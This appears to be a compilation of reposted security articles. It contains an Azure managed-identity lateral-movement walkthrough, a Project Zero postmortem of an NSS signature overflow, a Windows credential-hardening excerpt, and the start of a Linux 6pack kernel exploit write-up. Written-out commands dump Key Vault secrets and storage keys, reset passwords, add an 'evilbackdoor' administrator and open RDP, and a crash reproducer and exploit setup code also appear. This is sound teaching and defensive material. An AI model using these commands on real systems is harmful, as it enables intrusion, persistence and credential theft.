System-Assigned Managed Identity The first example will be using a System-Assigned Managed Identity of an Azure Virtual Machine. We will be creating an Ubuntu VM in the ‘Demo’ resource group, which includes a Managed Identity. We can recognize that a Managed Identity is being enabled, since we’re specifying the –assign-identity parameter in the CLI. An other thing, we can see as well is, that we have specified the –generate-ssh-keys parameter. This will generate public and private SSH keys. Last, but not least. We have specified a scope and the role that the Managed Identity will get. During this example, we have assigned the System-Assigned Managed Identity, the Contributor role. az vm create --resource-group Demo --size Standard_B2s --name LinuxVM --image UbuntuLTS --admin-username azureuser --generate-ssh-keys --assign-identity --location westeurope --scope "subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo" --role Contributor At the result, we can see that we have successfully created a new Azure VM with a Managed Identity. The second thing, we are going to do is configure an extension on this VM. This will allow us to do software installation, etc. The reason that we are doing this is, because we want to install the Azure CLI on the VM. az vm extension set --resource-group Demo --vm-name LinuxVM --name customscript --publisher Microsoft.Azure.Extensions Now we can use SSH to connect to our Azure VM. ssh azureuser@20.107.21.140 We have now logged in to our Azure VM, and we also have installed the extension. This allows us now to download the Azure CLI. curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash The final step is to login as the Managed Identity with the Azure CLI. As you can see, we didn’t need to specify any credential. az login --identity User-Assigned Managed Identity As discussed before, User-Assigned managed identities can be used on multiple resources, since the lifecycle is not tied to one. In order to use User-Assigned Managed Identity, we have to create one first. az identity create -g Demo -n myUserAssignedIdentity --location westEurope Now we are going to create a new Azure VM, but during this time. We will be assigning a User-Assigned managed identity. This will be a Windows VM this case. At the CLI, we have specified at the –assigned-identity parameter to assign an User-Assigned Managed Identity. az vm create --name WindowsVM --resource-group Demo --image Win2019Datacenter --location westeurope --admin-username Testing --admin-password DontHackMeBro123! --size Standard_B2s --storage-account sturageacc0unt07 --use-unmanaged-disk --assign-identity /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myUserAssignedIdentity The Virtual Machine has been created, so we can now RDP into this machine and install the Azure CLI. Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet' We might encounter the following problem, which can be easily resolved. This error might occur if we did not assign the correct RBAC role. Now we have to assign an RBAC role to our User-Assigned Managed Identity. In this example, we will be assigning the Contributor role. az role assignment create --assignee 7055e551-2f6e-45a3-a64f-30941957fd88 --role Contributor --scope /subscriptions/1ae3c5a8-9a9b-40bc-8d90-31710985b9ef/resourceGroups/Demo/providers/Microsoft.Compute/virtualMachines/WindowsVM We have now assigned this Managed Identity to the Contributor role. Once we now login to the Azure VM, we can login as the User-Assigned Managed Identity. az login --identity -u 7055e551-2f6e-45a3-a64f-30941957fd88 Lateral Movement with Managed Identities Managed Identities can be used to access Azure Key Vaults and storage accounts, which we discussed at the beginning of this blog post. This is an example of a configuration that I have seen in a real environment. Keep in mind that accessing these resources can only be achieved, once the correct RBAC or directory role has been assigned. NOTE: Yes, in the previous sections, I’ve used the Contributor role as an example. Now I will use the Owner role as an example. We have a Managed Identity (LinuxVM) with Owner rights. This RBAC role has been assigned on the resource group itself, which will inherit down to all the other resources within the same group. Let’s assume that we have compromised this Linux VM, and decided to SSH to this machine. ssh azureuser@20.107.21.140 The second thing we have to do is login as the Managed Identity. Once we have logged in, we can start moving laterally across different resources in the Cloud environment. az login --identity Azure Key Vault This section will cover how we can move laterally from our compromised Linux host to an Azure Key Vault and list the secrets. Once we have logged in, we can start enumerating Azure Key Vaults. This can be done with the following command: az keyvault list We have discovered an Azure Key Vault and we want to list the secrets. In order to do so, we can run the following command: az keyvault secret list --vault-name mysecretkeyvault01 Despite that we have Owner rights, we got an error that we do not have the permission to list the secrets. Since we have Owners right on the Resource group, which will inherit down on all the resources within the same group. We can modify an access policy of an Azure Key Vault and grant ourselves the permission. az keyvault set-policy -n mysecretkeyvault01 --secret-permissions get list --object-id ae46b8fd-6070-49c1-be69-300c771a97f0 If we are now trying to list all the secrets of an Azure Key Vault. It will now work. az keyvault secret list --vault-name mysecretkeyvault01 The last step is to obtain a secret from the Key Vault. az keyvault secret show --id https://mysecretkeyvault01.vault.azure.net/secrets/1753b4a6-9372-4c40-b395-74578b1dc3b0 Azure Storage Account This section will cover how we can access a storage account from our compromised Linux host. An Azure storage account contains all of your Azure Storage data objects: blobs, file shares, queues, tables, and disks. Organizations are often using storage accounts to store tons of data, which makes it just like Key Vaults. An interesting target to poke around with. The first thing, we are going to do is listening all the storage accounts. az storage account list At the result, we can see an storage account that we are primary interested in. The second thing we are going to do is to reviewing all the access keys. Obtaining an access key in a storage account allows you to have full access to everything. az storage account keys list -g Demo -n newstorageaccount003 This allows us to connect to the storage account and can be done with Azure Storage Explorer. Moving laterally to Linux machine This is now the most relevant part of this blog post, because we are going to explain how to move laterally from machine to machine within the same resource group. First, we need to enumerate all the VMs in our resource group. az vm list -g Demo --output table At the result, we can see that we are currently logged in on the LinuxVM machine. The second thing, we can do is install an VM extension that allows us to do software installation on the target machine. This is not necessary required, but in our example we will do it anyways. az vm extension set --resource-group Demo --vm-name LinuxVM02 --name customscript --publisher Microsoft.Azure.Extensions Azure Virtual Machines have a feature that is known as the ‘Run’ Command, which allows you to run commands as SYSTEM or root. We are now going to attempt to move laterally against the LinuxVM02 machine. Before, we are going to do that. We are first enumerating all the users on the target machine. az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "getent passwd | awk -F: '{ print $1}'" At the result, it will return all the users. This will include both the normal and system users. Generally, a normal user has UID greater or equal to 1000. If we look closely, there is an account called ‘testaccount’ that has 1000:1000. The next command will enumerate the group membership of the testaccount. az vm run-command invoke -g Demo -n LinuxVM02 --command-id RunShellScript --scripts "groups testaccount" Now we are going to reset the password of the testaccount, which we will be using to connect against the remote machine. az vm user update -u testaccount -p WeakPassw0rd! -n LinuxVM02 -g Demo The final part is to login with the account to the remote host via SSH. ssh testaccount@20.107.93.40 The final step is to verify that we have access to the targeted machine. hostname Moving laterally to Windows machine We are now moving laterally from the compromised Linux machine to a Windows machine within the same resource group. In this example, the first thing we are going to do is enumerate the Network Security Groups that are applied on that machine. az network nsg list --output table At the result, we can see the NSG rules are applied on the specific Azure Virtual Machines. We can see that RDP is open in this example. However, in most cases. Management ports are often closed from accessing it via the internet, but it is good to verify this by enumerating the NSG rules. We are now going to leverage the ‘Run’ Command feature just like we did before. This command will enumerate all the local users on a machine. az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user" At the result, it will return all the local users on the machine. At this part, we are going to create a new local user to remain persistent on the machine. az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net user evilbackdoor Passw0rd! /add" Now we are going to add this user to the local Administrators group. az vm run-command invoke --command-id RunPowerShellScript --name WindowsVM -g Demo --script "net localgroup Administrators evilbackdoor /add" If RDP has been closed from being exposed on the internet, we can still create an RDP rule to allow incoming connections to the targeted machine. az network nsg rule create -g Demo --nsg-name WindowsVMNSG -n OpenRDPForMePlease --source-address-prefixes 208.130.28.0/24 --access Allow --priority 1001 --destination-port-ranges 3389 What is the problem? The root cause of this problem is due to poor delegation. Delegating permissions on the Subscription or Resource group level is not recommended, because the permissions will inherit down to all the resources within the same group or subscription. Especially when sensitive RBAC roles are assigned with the likes of Owners, Contributor, User Access Administrator, and so on. This is an example of a poor practice. We have a Managed Identity, which is basically just another Service Principal. It has Owner permission on the Resource Group. This will allow this Managed Identity to be able to have full control over all the resources that is in the group. Exporting RBAC Roles RBAC roles controls who has what kind of access and rights to an Azure resource. We are going to use the PowerShell script of Microsoft’s MVP (Morten Pedholt) and export all the RBAC roles on every subscription. Wrong delegated permissions on the subscription level or resource group will inherit down on resources, such as VMs. Reviewing such kind of permissions can be helpful to identify wrong delegated permissions. .\Export-RoleAssignments.ps1 -OutputPath C:\temp #Parameters Param ( [Parameter(Mandatory=$false)] [string]$OutputPath = '', [Parameter(Mandatory=$false)] [Switch]$SelectCurrentSubscription ) #Get Current Context $CurrentContext = Get-AzContext #Get Azure Subscriptions if ($SelectCurrentSubscription) { #Only selection current subscription Write-Verbose "Only running for selected subscription $($CurrentContext.Subscription.Name)" -Verbose $Subscriptions = Get-AzSubscription -SubscriptionId $CurrentContext.Subscription.Id -TenantId $CurrentContext.Tenant.Id }else { Write-Verbose "Running for all subscriptions in tenant" -Verbose $Subscriptions = Get-AzSubscription -TenantId $CurrentContext.Tenant.Id } #Get Role roles in foreach loop $report = @() foreach ($Subscription in $Subscriptions) { #Choose subscription Write-Verbose "Changing to Subscription $($Subscription.Name)" -Verbose $Context = Set-AzContext -TenantId $Subscription.TenantId -SubscriptionId $Subscription.Id -Force $Name = $Subscription.Name $TenantId = $Subscription.TenantId $SubId = $Subscription.SubscriptionId #Getting information about Role Assignments for choosen subscription Write-Verbose "Getting information about Role Assignments..." -Verbose $roles = Get-AzRoleAssignment | Select-Object RoleDefinitionName,DisplayName,SignInName,ObjectId,ObjectType,Scope, @{name="TenantId";expression = {$TenantId}},@{name="SubscriptionName";expression = {$Name}},@{name="SubscriptionId";expression = {$SubId}} foreach ($role in $roles){ # $DisplayName = $role.DisplayName $SignInName = $role.SignInName $ObjectType = $role.ObjectType $RoleDefinitionName = $role.RoleDefinitionName $AssignmentScope = $role.Scope $SubscriptionName = $Context.Subscription.Name $SubscriptionID = $Context.Subscription.SubscriptionId #Check for Custom Role $CheckForCustomRole = Get-AzRoleDefinition -Name $RoleDefinitionName $CustomRole = $CheckForCustomRole.IsCustom #New PSObject $obj = New-Object -TypeName PSObject $obj | Add-Member -MemberType NoteProperty -Name SubscriptionName -value $SubscriptionName $obj | Add-Member -MemberType NoteProperty -Name SubscriptionID -value $SubscriptionID $obj | Add-Member -MemberType NoteProperty -Name DisplayName -Value $DisplayName $obj | Add-Member -MemberType NoteProperty -Name SignInName -Value $SignInName $obj | Add-Member -MemberType NoteProperty -Name ObjectType -value $ObjectType $obj | Add-Member -MemberType NoteProperty -Name RoleDefinitionName -value $RoleDefinitionName $obj | Add-Member -MemberType NoteProperty -Name CustomRole -value $CustomRole $obj | Add-Member -MemberType NoteProperty -Name AssignmentScope -value $AssignmentScope $Report += $obj } } if ($OutputPath) { #Export to CSV file Write-Verbose "Exporting CSV file to $OutputPath" -Verbose $Report | Export-Csv $OutputPath\RoleExport-$(Get-Date -Format "yyyy-MM-dd").csv }else { $Report } At the sample result, we can see all the different users with the assigned RBAC role on a certain resource. It is a best practice to review these permissions. The following roles should be closely reviewed: Owner Contributor User Access Administrator Virtual Machine Contributor Virtual Machine Administrator Avere Contributor Do NOT expose SSH Private Keys If you use the Azure CLI to create a VM with the az vm create command, you can optionally generate SSH public and private key files using the –generate-ssh-keys option. The key files are by default, stored in the ~/.ssh directory, and allows you to login without entering a password, but by using the SSH private key. However, the problem is. Once you are doing this, it will store those Key files in the .ssh directory. This means that everyone who can access it, could use that SSH private key to connect to an Azure VM. As you can see here, we don’t have to specify any password. Since we already have the SSH Private Key. Final Recommendations Do not expose management ports to the internet Try to limit assigning permissions on the Azure Subscription or Resource Group level Review RBAC roles that have been delegated with the Export-Assignments.ps1 script Be careful with generating optional SSH private keys when creating an Azure Virtual Machine with the CLI Reference What are managed identities for Azure resources?: https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview Azure Instance Metadata Service (Windows): https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=windows Export role assignments for all Azure subscriptions: https://www.pedholtlab.com/export-role-assignments-for-all-azure-subscriptions/ Sursa: https://m365internals.com/2021/11/30/lateral-movement-with-managed-identities-of-azure-virtual-machines/a
-
This shouldn't have happened: A vulnerability postmortem Posted by Tavis Ormandy, Project Zero Introduction This is an unusual blog post. I normally write posts to highlight some hidden attack surface or interesting complex vulnerability class. This time, I want to talk about a vulnerability that is neither of those things. The striking thing about this vulnerability is just how simple it is. This should have been caught earlier, and I want to explore why that didn’t happen. In 2021, all good bugs need a catchy name, so I’m calling this one “BigSig”. First, let’s take a look at the bug, I’ll explain how I found it and then try to understand why we missed it for so long. Analysis Network Security Services (NSS) is Mozilla's widely used, cross-platform cryptography library. When you verify an ASN.1 encoded digital signature, NSS will create a VFYContext structure to store the necessary data. This includes things like the public key, the hash algorithm, and the signature itself. struct VFYContextStr { SECOidTag hashAlg; /* the hash algorithm */ SECKEYPublicKey *key; union { unsigned char buffer[1]; unsigned char dsasig[DSA_MAX_SIGNATURE_LEN]; unsigned char ecdsasig[2 * MAX_ECKEY_LEN]; unsigned char rsasig[(RSA_MAX_MODULUS_BITS + 7) / 8]; } u; unsigned int pkcs1RSADigestInfoLen; unsigned char *pkcs1RSADigestInfo; void *wincx; void *hashcx; const SECHashObject *hashobj; SECOidTag encAlg; /* enc alg */ PRBool hasSignature; SECItem *params; }; Fig 1. The VFYContext structure from NSS. The maximum size signature that this structure can handle is whatever the largest union member is, in this case that’s RSA at 2048 bytes. That’s 16384 bits, large enough to accommodate signatures from even the most ridiculously oversized keys. Okay, but what happens if you just....make a signature that’s bigger than that? Well, it turns out the answer is memory corruption. Yes, really. The untrusted signature is simply copied into this fixed-sized buffer, overwriting adjacent members with arbitrary attacker-controlled data. The bug is simple to reproduce and affects multiple algorithms. The easiest to demonstrate is RSA-PSS. In fact, just these three commands work: # We need 16384 bits to fill the buffer, then 32 + 64 + 64 + 64 bits to overflow to hashobj, # which contains function pointers (bigger would work too, but takes longer to generate). $ openssl genpkey -algorithm rsa-pss -pkeyopt rsa_keygen_bits:$((16384 + 32 + 64 + 64 + 64)) -pkeyopt rsa_keygen_primes:5 -out bigsig.key # Generate a self-signed certificate from that key $ openssl req -x509 -new -key bigsig.key -subj "/CN=BigSig" -sha256 -out bigsig.cer # Verify it with NSS... $ vfychain -a bigsig.cer Segmentation fault Fig 2. Reproducing the BigSig vulnerability in three easy commands. The actual code that does the corruption varies based on the algorithm; here is the code for RSA-PSS. The bug is that there is simply no bounds checking at all; sig and key are arbitrary-length, attacker-controlled blobs, and cx->u is a fixed-size buffer. case rsaPssKey: sigLen = SECKEY_SignatureLen(key); if (sigLen == 0) { /* error set by SECKEY_SignatureLen */ rv = SECFailure; break; } if (sig->len != sigLen) { PORT_SetError(SEC_ERROR_BAD_SIGNATURE); rv = SECFailure; break; } PORT_Memcpy(cx->u.buffer, sig->data, sigLen); break; Fig 3. The signature size must match the size of the key, but there are no other limitations. cx->u is a fixed-size buffer, and sig is an arbitrary-length, attacker-controlled blob. I think this vulnerability raises a few immediate questions: Was this a recent code change or regression that hadn’t been around long enough to be discovered? No, the original code was checked in with ECC support on the 17th October 2003, but wasn't exploitable until some refactoring in June 2012. In 2017, RSA-PSS support was added and made the same error. Does this bug require a long time to generate a key that triggers the bug? No, the example above generates a real key and signature, but it can just be garbage as the overflow happens before the signature check. A few kilobytes of A’s works just fine. Does reaching the vulnerable code require some complicated state that fuzzers and static analyzers would have difficulty synthesizing, like hashes or checksums? No, it has to be well-formed DER, that’s about it. Is this an uncommon code path? No, Firefox does not use this code path for RSA-PSS signatures, but the default entrypoint for certificate verification in NSS, CERT_VerifyCertificate(), is vulnerable. Is it specific to the RSA-PSS algorithm? No, it also affects DSA signatures. Is it unexploitable, or otherwise limited impact? No, the hashobj member can be clobbered. That object contains function pointers, which are used immediately. This wasn’t a process failure, the vendor did everything right. Mozilla has a mature, world-class security team. They pioneered bug bounties, invest in memory safety, fuzzing and test coverage. NSS was one of the very first projects included with oss-fuzz, it was officially supported since at least October 2014. Mozilla also fuzz NSS themselves with libFuzzer, and have contributed their own mutator collection and distilled coverage corpus. There is an extensive testsuite, and nightly ASAN builds. I'm generally skeptical of static analysis, but this seems like a simple missing bounds check that should be easy to find. Coverity has been monitoring NSS since at least December 2008, and also appears to have failed to discover this. Until 2015, Google Chrome used NSS, and maintained their own testsuite and fuzzing infrastructure independent of Mozilla. Today, Chrome platforms use BoringSSL, but the NSS port is still maintained. Did Mozilla have good test coverage for the vulnerable areas? YES. Did Mozilla/chrome/oss-fuzz have relevant inputs in their fuzz corpus? YES. Is there a mutator capable of extending ASN1_ITEMs? YES. Is this an intra-object overflow, or other form of corruption that ASAN would have difficulty detecting? NO, it's a textbook buffer overflow that ASAN can easily detect. How did I find the bug? I've been experimenting with alternative methods for measuring code coverage, to see if any have any practical use in fuzzing. The fuzzer that discovered this vulnerability used a combination of two approaches, stack coverage and object isolation. Stack Coverage The most common method of measuring code coverage is block coverage, or edge coverage when source code is available. I’ve been curious if that is always sufficient. For example, consider a simple dispatch table with a combination of trusted and untrusted parameters, as in Fig 4. #include <stdio.h> #include <string.h> #include <limits.h> static char buf[128]; void cmd_handler_foo(int a, size_t b) { memset(buf, a, b); } void cmd_handler_bar(int a, size_t b) { cmd_handler_foo('A', sizeof buf); } void cmd_handler_baz(int a, size_t b) { cmd_handler_bar(a, sizeof buf); } typedef void (* dispatch_t)(int, size_t); dispatch_t handlers[UCHAR_MAX] = { cmd_handler_foo, cmd_handler_bar, cmd_handler_baz, }; int main(int argc, char **argv) { int cmd; while ((cmd = getchar()) != EOF) { if (handlers[cmd]) { handlers[cmd](getchar(), getchar()); } } } Fig 4. The coverage of command bar is a superset of command foo, so an input containing the latter would be discarded during corpus minimization. There is a vulnerability unreachable via command bar that might never be discovered. Stack coverage would correctly keep both inputs.[1] To solve this problem, I’ve been experimenting with monitoring the call stack during execution. The naive implementation is too slow to be practical, but after a lot of optimization I had come up with a library that was fast enough to be integrated into coverage-guided fuzzing, and was testing how it performed with NSS and other libraries. Object Isolation Many data types are constructed from smaller records. PNG files are made of chunks, PDF files are made of streams, ELF files are made of sections, and X.509 certificates are made of ASN.1 TLV items. If a fuzzer has some understanding of the underlying format, it can isolate these records and extract the one(s) causing some new stack trace to be found. The fuzzer I was using is able to isolate and extract interesting new ASN.1 OIDs, SEQUENCEs, INTEGERs, and so on. Once extracted, it can then randomly combine or insert them into template data. This isn’t really a new idea, but is a new implementation. I'm planning to open source this code in the future. Do these approaches work? I wish that I could say that discovering this bug validates my ideas, but I’m not sure it does. I was doing some moderately novel fuzzing, but I see no reason this bug couldn’t have been found earlier with even rudimentary fuzzing techniques. Lessons Learned How did extensive, customized fuzzing with impressive coverage metrics fail to discover this bug? What went wrong Issue #1 Missing end-to-end testing. NSS is a modular library. This layered design is reflected in the fuzzing approach, as each component is fuzzed independently. For example, the QuickDER decoder is tested extensively, but the fuzzer simply creates and discards objects and never uses them. extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { char *dest[2048]; for (auto tpl : templates) { PORTCheapArenaPool pool; SECItem buf = {siBuffer, const_cast<unsigned char *>(Data), static_cast<unsigned int>(Size)}; PORT_InitCheapArena(&pool, DER_DEFAULT_CHUNKSIZE); (void)SEC_QuickDERDecodeItem(&pool.arena, dest, tpl, &buf); PORT_DestroyCheapArena(&pool); } Fig 5. The QuickDER fuzzer simply creates and discards objects. This verifies the ASN.1 parsing, but not whether other components handle the resulting objects correctly. This fuzzer might have produced a SECKEYPublicKey that could have reached the vulnerable code, but as the result was never used to verify a signature, the bug could never be discovered. Issue #2 Arbitrary size limits. There is an arbitrary limit of 10000 bytes placed on fuzzed input. There is no such limit within NSS; many structures can exceed this size. This vulnerability demonstrates that errors happen at extremes, so this limit should be chosen thoughtfully. A reasonable choice might be 224-1 bytes, the largest possible certificate that can be presented by a server during a TLS handshake negotiation. While NSS might handle objects even larger than this, TLS cannot possibly be involved, reducing the overall severity of any vulnerabilities missed. Issue #3 Misleading metrics. All of the NSS fuzzers are represented in combined coverage metrics by oss-fuzz, rather than their individual coverage. This data proved misleading, as the vulnerable code is fuzzed extensively but by fuzzers that could not possibly generate a relevant input. This is because fuzzers like the tls_server_target use fixed, hardcoded certificates. This exercises code relevant to certificate verification, but only fuzzes TLS messages and protocol state changes. What Worked The design of the mozilla::pkix validation library prevented this bug from being worse than it could have been. Unfortunately it is unused outside of Firefox and Thunderbird. It’s debatable whether this was just good fortune or not. It seems likely RSA-PSS would eventually be permitted by mozilla::pkix, even though it was not today. Recommendations This issue demonstrates that even extremely well-maintained C/C++ can have fatal, trivial mistakes. Short Term Raise the maximum size of ASN.1 objects produced by libFuzzer from 10,000 to 224-1 = 16,777,215 bytes. The QuickDER fuzzer should call some relevant APIs with any objects successfully created before destroying them. The oss-fuzz code coverage metrics should be divided by fuzzer, not by project. Solution This vulnerability is CVE-2021-43527, and is resolved in NSS 3.73.0. If you are a vendor that distributes NSS in your products, you will most likely need to update or backport the patch. Credits I would not have been able to find this bug without assistance from my colleagues from Chrome, Ryan Sleevi and David Benjamin, who helped answer my ASN.1 encoding questions and engaged in thoughtful discussion on the topic. Thanks to the NSS team, who helped triage and analyze the vulnerability. [1] In this minimal example, a workaround if source was available would be to use a combination of sancov's data-flow instrumentation options, but that also fails on more complex variants. Posted by Ryan at 10:38 AM Sursa: https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html
-
PROTECTING WINDOWS CREDENTIALS AGAINST NETWORK ATTACKS December 2, 2021 stitakpmgcom Misc Leave a comment Over the years I’ve seen a lot of misconfigurations or a lack of configurations when it comes to protecting Windows credentials, hashes or Kerberos tickets. The main difficulty here comes from the fact that the Windows domain is complex and the multitude of features that it offers come with many security implications, especially when there is a lack of maturity in the service management process. This is why constant monitoring and auditing is required in order to maintain a decent level of security, and there is no easy or single solution that you can truly rely on. In fact the principle of defense in depth is key in any domain infrastructure that aims to maintain a high security level. The purpose of this post is to present the multitude of control mechanisms that should be considered by any organization using an Active Directory Domain Infrastructure and seeking to protect cached credentials and avoid Network attacks that are commonly performed by attackers with tools such as Mimikatz, Rubeus, Metasploit and other. 1. Apply UAC restrictions to local accounts on network logons Usually local system accounts are used by system administrators to perform local tasks and therefore these accounts should only be used locally and should not be used to perform actions remotely. The “Apply UAC restrictions to local accounts on network logons” group policy setting controls whether local accounts can be used for remote administration via network logon. Enabling this option will prevent attackers from performing remote actions even if they have the correct credentials for a local account. https://www.stigviewer.com/stig/windows_10/2017-02-21/finding/V-63597 Moreover, it is also recommended to avoid using privileged domain accounts such as a member of the Enterprise Admins or Domain Admins to perform simple tasks on network computers. In order to prevent privileged accounts and only allow the accounts with the minimum amount of privileges to perform these actions the group policy setting “Deny access to this computer from the network” should be configured. https://www.stigviewer.com/stig/windows_10/2016-11-03/finding/V-63871 Articol complet: https://securitycafe.ro/2021/12/02/protecting-windows-credentials-against-network-attacks/
-
1 DECEMBER 2021/RESEARCH [CVE-2021-42008] Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver CVE-2021-42008 is a Slab-Out-Of-Bounds Write vulnerability in the Linux 6pack driver caused by a missing size validation check in the decode_data function. A malicious input from a process with CAP_NET_ADMIN capability can lead to an overflow in the cooked_buf field of the sixpack structure, resulting in kernel memory corruption. This, if properly exploited, can lead to root access. In this article, after analyzing the vulnerability, we will exploit it using the techniques FizzBuzz101 and me presented in our recent articles Fire Of Salvation and Wall Of Perdition, bypassing all modern kernel protections, then, we will evaluate other approaches to perform privilege escalation. Overview 6pack is a transmission protocol for data exchange between a PC and a TNC (Terminal Node Controller) over a serial line. It is used as an alternative to the KISS protocol for networking over AX.25. AX.25 is a data link layer protocol extensively used on amateur packet radio networks (and by some satellites, for example 3CAT2). The vulnerability we are going to exploit, was introduced by commit 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 with the introduction of the 6pack driver back in 2005. It was found by Syzbot and recently fixed by commit 19d1532a187669ce86d5a2696eb7275310070793. Every kernel version before 5.13.13 that has not been patched, is affected. As we mentioned in the introduction, the vulnerability is caused by a missing size validation check in the decode_data() function. A malicious input received over the sixpack channel from a process with CAP_NET_ADMIN capability, can cause the decode_data() function to be called multiple times by sixpack_decode(). The malicious input is subsequently decoded and stored into a buffer, cooked_buf, inside the sixpack structure. The variable rx_count_cooked is used as index in cooked_buf, it basically determines the offset at which to write a decoded byte. The problem is that if decode_data() is called many times, the rx_count_cooked variable is incremented over and over, until it exceeds the size of cooked_buf, which can contain a maximum of 400 bytes. This can result in a a Slab-Out-Of-Bounds Write vulnerability, which if properly exploited, can lead to root access. To exploit the vulnerability, we are going to target one of the latest Debian 11 versions. You can download it from here. The exploit is designed and tested for kernel 5.10.0-8-amd64. All modern protections, such as KASLR, SMEP, SMAP, PTI, CONFIG_SLAB_FREELIST_RANDOM, CONFIG_SLAB_FREELIST_HARDENED, CONFIG_HARDENED_USERCOPY etc. are enabled. Analyzing The Vulnerable Driver In modern Linux distributions, 6pack is usually compiled as a Loadable Kernel Module. The module can be loaded into kernel by setting the line discipline of a tty to N_6PACK. To do so, we can simply create a ptmx/pts pair, respectively the master side and the slave side of a pty and set the line discipline of the slave to N_6PACK: #define N_6PACK 7 int open_ptmx(void) { int ptmx; ptmx = getpt(); if (ptmx < 0) { perror("[X] open_ptmx()"); exit(1); } grantpt(ptmx); unlockpt(ptmx); return ptmx; } int open_pts(int fd) { int pts; pts = open(ptsname(fd), 0, 0); if (pts < 0) { perror("[X] open_pts()"); exit(1); } return pts; } void set_line_discipline(int fd, int ldisc) { if (ioctl(fd, TIOCSETD, &ldisc) < 0) // [2] { perror("[X] ioctl() TIOCSETD"); exit(1); } } int init_sixpack() { int ptmx, pts; ptmx = open_ptmx(); pts = open_pts(ptmx); set_line_discipline(pts, N_6PACK); // [1] return ptmx; } As we can see from the code above, after opening a ptmx and the respective slave side, we set the line discipline of the pts to N_6PACK [1] using the function set_line_discipline() which is nothing more than a wrapper for ioctl(fd, TIOCSETD, &ldisc) [2]. Line discipline, also known as LDISC, acts as an intermediate level between a character device and a pseudo terminal (or real hardware), determining the semantics associated with the device. For example, the line discipline is responsible for the association of a special character like ^C entered by the user in a terminal pressing CTRL+C, to a specific signal, SIGINT in this case. To learn more about tty, pty, ptmx/pts and ldsc I recommend you to read The TTY demystified. Once we set the pts line discipline to N_6PACK, the 6pack driver is initialized by sixpack_init_driver(): static int __init sixpack_init_driver(void) { int status; printk(msg_banner); /* Register the provided line protocol discipline */ if ((status = tty_register_ldisc(N_6PACK, &sp_ldisc)) != 0) // [1] printk(msg_regfail, status); return status; } and tty_register_ldisc() is called by the kernel to register the new line discipline [1]. The second argument, sp_ldisc, is defined as: static struct tty_ldisc_ops sp_ldisc = { .owner = THIS_MODULE, .magic = TTY_LDISC_MAGIC, .name = "6pack", .open = sixpack_open, .close = sixpack_close, .ioctl = sixpack_ioctl, .receive_buf = sixpack_receive_buf, .write_wakeup = sixpack_write_wakeup, }; Afterwards the sixpack channel is opened by sixpack_open(): static int sixpack_open(struct tty_struct *tty) { char *rbuff = NULL, *xbuff = NULL; struct net_device *dev; struct sixpack *sp; unsigned long len; int err = 0; if (!capable(CAP_NET_ADMIN)) // [1] return -EPERM; if (tty->ops->write == NULL) return -EOPNOTSUPP; dev = alloc_netdev(sizeof(struct sixpack), "sp%d", NET_NAME_UNKNOWN, sp_setup); // [2] if (!dev) { err = -ENOMEM; goto out; } sp = netdev_priv(dev); // [3] sp->dev = dev; [...] sp->status = 1; // [4] [...] timer_setup(&sp->tx_t, sp_xmit_on_air, 0); timer_setup(&sp->resync_t, resync_tnc, 0); // [5] [...] tty->disc_data = sp; // [6] tty->receive_room = 65536; /* Now we're ready to register. */ err = register_netdev(dev); if (err) goto out_free; tnc_init(sp); // [7] return 0; [...] } From the source code above, we can see that only a process with CAP_NET_ADMIN capability is allowed to interact with the 6pack driver [1]. Fortunately, this makes the vulnerability not so easily exploitable in the wild. Then, a net device is allocated using alloc_netdev() which is a macro for alloc_netdev_mqs() [2]: [...] alloc_size = sizeof(struct net_device); // 0x940 bytes if (sizeof_priv) { /* ensure 32-byte alignment of private area */ alloc_size = ALIGN(alloc_size, NETDEV_ALIGN); alloc_size += sizeof_priv; // 0x270 bytes } /* ensure 32-byte alignment of whole construct */ alloc_size += NETDEV_ALIGN - 1; p = kvzalloc(alloc_size, GFP_KERNEL | __GFP_RETRY_MAYFAIL); if (!p) return NULL; dev = PTR_ALIGN(p, NETDEV_ALIGN); [...] As we can see from alloc_netdev_mqs() source code, first it calculates the size of a net_device structure, 0x940 bytes in our case, and then it adds to it value of sizeof_priv, which corresponds to the size of a sixpack structure, 0x270 bytes in our case. After alignment, this will result in an allocation of 0xbcf bytes, that will end up in kmalloc-4096. Back to sixpack_open(), right after the call to alloc_netdev(), netdev_priv() is called: it sets the location of the sixpack structure inside the private data region of the previously allocated net device [3]. Finally, after setting the status field of the sixpack structure to 1 [4] and after setting up two timers (the function called when the second time expires, resync_tnc(), will be extremely important in the exploitation phase) [5], the tty line is linked to the sixpack channel [6], the net device is registered, and tnc_init() is called [7]: static inline int tnc_init(struct sixpack *sp) { [...] mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); // [1] return 0; } Among other things, tnc_init() sets the expiration time of the sp->resync_t timer to jiffies + SIXP_RESYNC_TIMEOUT [1]. In the Linux Kernel, jiffies is a global variable that stores the number of ticks occurred since the system boot-up. The value of this variable is incremented by one for each timer interrupt. In one second, there are HZ ticks (the value of HZ is determined by CONFIG_HZ). Since we know that HZ = number of ticks/sec and jiffies = number of ticks, we can simply convert jiffies to seconds sec = jiffies/HZ and seconds to jiffies jiffies = sec*HZ. This is exactly what the Linux Kernel does to determine when a timer expires. For example, a timer that expires in 10 seconds from now can be represented in jiffies using jiffies + (10*HZ). In our case, the timer is set to jiffies + SIXP_RESYNC_TIMEOUT. SIXP_RESYNC_TIMEOUT is equal to 5*HZ. So it means that once we initialize the sixpack channel, the timer will expire after 5 seconds and the resync_tnc() function will be called. We will analyze this function during the exploitation phase. Reaching The Vulnerable Function Now that we can communicate with the sixpack driver, when we write to the ptmx, 